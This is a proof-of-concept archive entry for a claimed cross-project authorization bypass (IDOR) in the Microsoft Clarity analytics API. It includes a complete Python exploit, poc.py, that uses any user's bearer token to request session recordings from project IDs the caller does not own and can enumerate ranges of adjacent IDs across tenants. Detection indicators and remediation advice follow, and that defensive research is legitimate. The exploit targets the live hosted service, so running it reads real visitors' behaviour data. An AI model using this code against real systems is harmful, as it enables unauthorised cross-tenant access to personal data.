PoC Archive PoC Archive
CVE-2026-113824 category: web CVSS 9.1 (CRITICAL)
Unverified

Microsoft Clarity IDOR — Cross-Project Session Recording Access (CVE-2026-113824)

Published: 2026-11-25 • Researcher: cveForge (PoC); Microsoft / MSRC (vendor advisory)

Target software Microsoft Clarity (clarity.microsoft.com analytics service and its projects/recordings API)
Affected versions Cloud-hosted service; NVD publishes no CPE or version ranges. The upstream repo states the API was affected before the 2026-11-19 patch. See references.
Status PoC
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-113824
Category
web
Affected product
Microsoft Clarity (clarity.microsoft.com analytics service and its projects/recordings API)
Affected versions
Cloud-hosted service; NVD publishes no CPE or version ranges. The upstream repo states the API was affected before the 2026-11-19 patch. See references.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearchercveForge (PoC); Microsoft / MSRC (vendor advisory)
CVE / AdvisoryCVE-2026-113824
Categoryweb
SeverityCritical
CVSS Score9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
StatusPoC
TagsIDOR, CWE-639, authorization-bypass, Microsoft-Clarity, analytics, session-recordings, PII-exposure, API, bearer-token, Python
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Clarity (clarity.microsoft.com analytics service and its projects/recordings API)
Versions AffectedCloud-hosted service; NVD publishes no CPE or version ranges. The upstream repo states the API was affected before the 2026-11-19 patch. See references.
Language / PlatformService-side HTTPS/JSON web API; PoC written in Python 3 using the standard library only
Authentication RequiredYes — any authenticated Clarity account bearer token (low privilege); the vendor CVSS vector marks PR:N
Network Access RequiredYes

Summary

Microsoft Clarity records session replays, heatmaps and click data for web projects. A CWE-639 authorization bypass in the recordings API makes the numeric projectId path parameter the only access-control check, so any caller holding a valid Clarity session token can read recordings and behavior analytics belonging to projects the caller does not belong to. The included Python PoC takes a bearer token plus a project ID, requests another project’s recordings and can optionally walk a range of adjacent project IDs, leaking visitor behavior and potentially PII. Microsoft rates the flaw 9.1 Critical with high confidentiality and integrity impact and no availability impact.

Vulnerability Details

Root Cause

The recordings endpoint at /api/v1/projects/{projectId}/recordings derives the target tenant object from a user-controlled key (the numeric project ID in the URL path) and performs no object-level authorization check confirming that the authenticated caller is a member of that project. This is CWE-639, authorization bypass through user-controlled key: the ID is trusted as evidence of ownership. Because project IDs are small sequential integers, they are trivially guessable and enumerable.

Attack Vector

A low-privileged Clarity user sends an authenticated HTTPS GET request with a Bearer token to /api/v1/projects/VICTIM_ID/recordings?take=5&skip=0, substituting another project’s numeric ID. Repeating the request over a range of project IDs enumerates victim projects. No user interaction on the victim side is required and nothing is written to the victim project.

Impact

Unauthorized read access to cross-project session recordings, heatmaps and click data, including captured user behavior that may contain personal data (form entries, navigation, page content). This is a cross-tenant privacy breach and gives an attacker reconnaissance-grade insight into another organization’s users and site behavior. Integrity impact is scored high (H) by the vendor even though the PoC only reads; availability impact is none.

Environment / Lab Setup

Output
OS:          Any (client-side script); Python 3.8+
Target:      Microsoft Clarity cloud API (https://clarity.microsoft.com/api/v1/projects)
             SaaS only — there is no self-hosted Clarity target to stand up
Attacker:    A free or low-privilege Clarity account plus its bearer token
Tools:       Python 3 (stdlib urllib), curl, browser DevTools for token capture

Setup Steps

Shell script
1
2
3
4
export CLARITY_TOKEN='eyJ...'
export VICTIM_PID='123456'

python3 --version

Proof of Concept

Step-by-Step Reproduction

  1. Prepare two projects — Create project A and project B under accounts you control; record project B’s numeric ID from its Clarity URL or settings page.
  2. Capture a token for A — In Clarity’s web UI, open DevTools and copy the Bearer token from a /api/v1 request made by account A.
  3. Request B’s recordings as A — Run python3 poc.py --bearer "$CLARITY_TOKEN" --project-id "$VICTIM_PID". A 200 response containing recordings data confirms cross-project access.
  4. Enumerate adjacent IDs — Add --range 1000 to walk projectId+1 through projectId+N, which surfaces other tenants whose projects were created in the same ID block.
  5. Clean up — Revoke the test token and delete the throwaway projects; do not retain any data returned for projects you do not own.

Exploit Code

See poc.py in this folder; upstream README is preserved as upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import urllib.request

API = "https://clarity.microsoft.com/api/v1/projects"
pid = "123456"           # numeric project ID you are not a member of
token = "eyJ..."         # bearer token of any authenticated Clarity user

req = urllib.request.Request(
    f"{API}/{pid}/recordings?take=5&skip=0",
    headers={"Authorization": f"Bearer {token}", "Accept": "application/json"},
)
with urllib.request.urlopen(req, timeout=10) as r:
    print(r.status, r.read(2048).decode(errors="replace"))

Expected Output

Output
1
2
3
4
  [+] VULNERABLE  projectId=123456  data={"recordings":[{"projectId":123456,"sessionId":"...","pages":[...]}]}
  [+] VULNERABLE  projectId=123457  data={"recordings":[...]}
  [-] 403  projectId=123458  data={"error":"Forbidden"}
[*] Done.

The script’s own heuristic is a 200 status whose body contains recordings, so validate manually that the returned records belong to the other project.

Detection & Indicators of Compromise

  • A single Clarity bearer token issuing sequential GETs to /api/v1/projects//recordings with take=5&skip=0 across many project IDs in a short window.
  • 200 responses for project IDs that are not linked to the token’s account or organization.
  • Token use from an unfamiliar IP/ASN or automation user agent, especially at rates far above normal dashboard traffic.
  • Repeated paging (skip increments) over a project the caller has no membership in.
  • Downstream: 403/429 bursts interleaved with 200s, indicating blind enumeration of an ID range.

Example log / detection pattern:

Output
1
2
3
2026-11-20T14:02:11Z GET /api/v1/projects/123456/recordings?take=5&skip=0 200 (token sub=user-a)
2026-11-20T14:02:11Z GET /api/v1/projects/123457/recordings?take=5&skip=0 200 (token sub=user-a)
2026-11-20T14:02:12Z GET /api/v1/projects/123458/recordings?take=5&skip=0 403 (token sub=user-a)

Remediation

ActionDetail
PatchService-side fix from Microsoft; track the MSRC update guide for CVE-2026-113824. The upstream repo notes the API was affected before the 2026-11-19 patch — verify current status against MSRC, since this is a hosted service with no customer patch.
WorkaroundNo customer-side fix exists for the service itself. Revoke and rotate Clarity access tokens, remove dormant users, and treat recordings/heatmaps as sensitive data while exposure is possible.
Config HardeningRequire server-side per-object authorization (verify caller membership for every projectId), scope tokens per project, rate-limit and alert on cross-project enumeration, and keep token lifetimes short.

References

Notes

Auto-ingested from https://github.com/cveForge/CVE-2026-113824 on 2026-11-25. Review verdict: a real IDOR exploit (oracle-style script), not a detector or scanner — it performs the unauthorized cross-project read itself and reports the returned recordings.

Limitations: the PoC requires a valid authenticated Clarity bearer token and a live, Microsoft-hosted service, so there is no local lab and no deterministic reproduction; it fetches only 5 recordings and the first 2048 bytes per project, making it a proof of access rather than a bulk exfiltration tool. Its “VULNERABLE” heuristic is coarse (HTTP 200 plus the word recordings) and should be confirmed manually against a project you own. Note the scoring discrepancy: the vendor CVSS vector says PR:N, while the PoC needs a low-privileged account token.

License status: the repository has no LICENSE file, so the code is archived with attribution for authorized security research only. The exploit was not executed during ingestion, and no secret or .git content was copied.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-113824 (see README for attribution/license)

BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

  CVE-2026-113824 — Microsoft Clarity Authorization Bypass via User-Controlled Key — Cross-Project Session Data Access
  CVSS 9.1 | CRITICAL | CWE-639 | Microsoft Clarity
"""

VERSION = "1.0.0"

import argparse, sys, json, urllib.request, urllib.error

# Microsoft Clarity Authorization Bypass PoC
# CWE-639: Authorization Bypass Through User-Controlled Key
# Affected: Microsoft Clarity analytics platform API < patch 2026-11-19
# Impact: The /api/v1/projects/{projectId}/recordings endpoint uses the
#         projectId path parameter as the sole authorization check without
#         verifying that the authenticated user is a member of that project.
#         Any Clarity user can enumerate session recordings, heatmaps, and
#         user behavior data from arbitrary projects by guessing/enumerating
#         the numeric project ID.

CLARITY_API = "https://clarity.microsoft.com/api/v1/projects"

def enumerate_project(project_id: str, bearer: str) -> tuple:
    """Attempt to access recordings for a project we may not own."""
    url = f"{CLARITY_API}/{project_id}/recordings?take=5&skip=0"
    req = urllib.request.Request(url, headers={
        "Authorization": f"Bearer {bearer}",
        "Accept": "application/json",
    })
    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            return r.status, r.read(2048).decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read(512).decode(errors="replace")
    except urllib.error.URLError as e:
        return -1, str(e.reason)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-113824 PoC — Microsoft Clarity IDOR")
    parser.add_argument("--bearer",     required=True)
    parser.add_argument("--project-id", required=True, help="Target project ID (numeric)")
    parser.add_argument("--range",      type=int, default=0, help="If >0, also enumerate project_id+1 to +N")
    args = parser.parse_args()
    print(BANNER)
    ids_to_try = [args.project_id] + [str(int(args.project_id)+i) for i in range(1, args.range+1)]
    for pid in ids_to_try:
        status, body = enumerate_project(pid, args.bearer)
        vuln = status == 200 and "recordings" in body.lower()
        print(f"  {'[+] VULNERABLE' if vuln else f'[-] {status}'}  projectId={pid}  data={body[:150].replace(chr(10),' ')}")
    print("[*] Done.")

if __name__ == "__main__":
    main()